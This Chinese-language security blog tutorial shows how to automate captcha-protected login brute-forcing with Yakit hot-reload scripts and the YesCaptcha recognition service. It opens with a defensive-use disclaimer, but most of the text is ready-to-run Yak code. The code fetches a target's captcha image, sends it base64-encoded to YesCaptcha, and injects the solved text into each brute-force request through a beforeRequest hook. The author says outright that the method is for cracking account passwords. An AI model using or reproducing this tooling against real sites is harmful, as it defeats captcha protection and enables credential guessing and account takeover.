免责声明
本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。
什么是yakit的热加载
广义上来说,热加载是一种允许在不停止或重启应用程序的情况下,动态加载或更新特定组件或模块的功能。这种技术常用于开发过程中,提高开发效率和用户体验。
具体的解释访问https://www.yaklang.comproducts/Web
yescaptcha平台是做什么的
YesCaptcha是一个提供验证码识别服务的平台,主要支持reCAPTCHA、HCaptcha、funcaptcha以及英文数字验证码等类型的验证码识别。用户可以通过该平台解决各种验证码问题,确保自动化脚本或机器人能够顺利通过验证,从而在开发、测试和自动化任务中发挥作用。官网http://www.yescaptcha.com
如何通过yakit热加载与yescaptcha平台实现识别验证码爆破登录
技术要求:
掌握yakit基础语法学习
https://www.yaklang.com/docs/intro
了解yescaptcha的开发者文档
https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/63897603/YesCaptcha+API
图片验证码工作原理
通过固定接口生成 通过yakit的抓包可以看出 也可以手动刷新查看
实现方法
1.首先注册yescaptcha账户充值点数 各种验证码的价格 然后复制主页的key
2.利用官方的文档编写识别函数 注:要求填入的是base64
代码实现
由于不知道是我yakit的问题还是什么 我返回的json格式会多一个括号 添加了去一次括号的功能
var image_txt = func(data) {
rsp, req = poc.HTTP(f`POST /createTask HTTP/1.1
Host: cn.yescaptcha.com
Content-Type: application/json
{
"clientKey":"你的key",
"task": {
"type":"ImageToTextTaskTest",
"body":"${data}"
}
}`)~
rspIns = poc.ParseBytesToHTTPResponse(rsp)~
data = str.Replace(str.Replace(string(rspIns.Body), "{{", "{",1),"}}", "}",1)
code = json.Find(data, "$.solution.text")
return code
}
img = ""
print(image_txt(img))
接下来插入数据 已经如图为例 成功识别正确的结果
3.了解验证码的格式和工作原理 以该cms为例 抓包得到验证码返回为非base64格式 所以在获取验证码返回包上要进行base64编码处理。
代码实现
var jiema_http = func(input){
rsp, req = poc.HTTP(f`GET /kaptcha/render HTTP/1.1
Host: xxxxxx
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: xxxxxxx
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
`)~
rspIns = poc.ParseBytesToHTTPResponse(rsp)~
data = codec.EncodeBase64(rspIns.Body)
return data
}
print(jiema_http(1))
注意:此处的数据包中的参数建议复制全部 部分验证码验证cookie等参数
4.获取与识别联动
5.融入热加载
在上代码的基础上添加占位符代码插入热加载中保存 并且设置发包线程为1
全部代码//解码-不定长度图片
//解码-不定长度图片
var image_txt = func(data) {
rsp, req = poc.HTTP(f`POST /createTask HTTP/1.1
Host: cn.yescaptcha.com
Content-Type: application/json
{
"clientKey":"你的key",
"task": {
"type":"ImageToTextTaskTest",
"body":"${data}"
}
}`)~
rspIns = poc.ParseBytesToHTTPResponse(rsp)~
data = str.Replace(str.Replace(string(rspIns.Body), "{{", "{",1),"}}", "}",1)
code = json.Find(data, "$.solution.text")
return code
}
var jiema_http = func(input){
rsp, req = poc.HTTP(f`GET /kaptcha/render HTTP/1.1
Host: xxxxxx
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: xxxxxx
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
`)~
rspIns = poc.ParseBytesToHTTPResponse(rsp)~
data = codec.EncodeBase64(rspIns.Body)
return data
}
beforeRequest = func(req){
code = image_txt(jiema_http(1))
req = re.ReplaceAll(req, `__verify__`, code)
return []byte(req)
}
爆破演示
验证码正确则返回erro 错误返回的是验证码错误
最后
本文讲了如何利用热加载进行用户账户密码爆破,看完的师傅们能举一反三去进行更多的使用。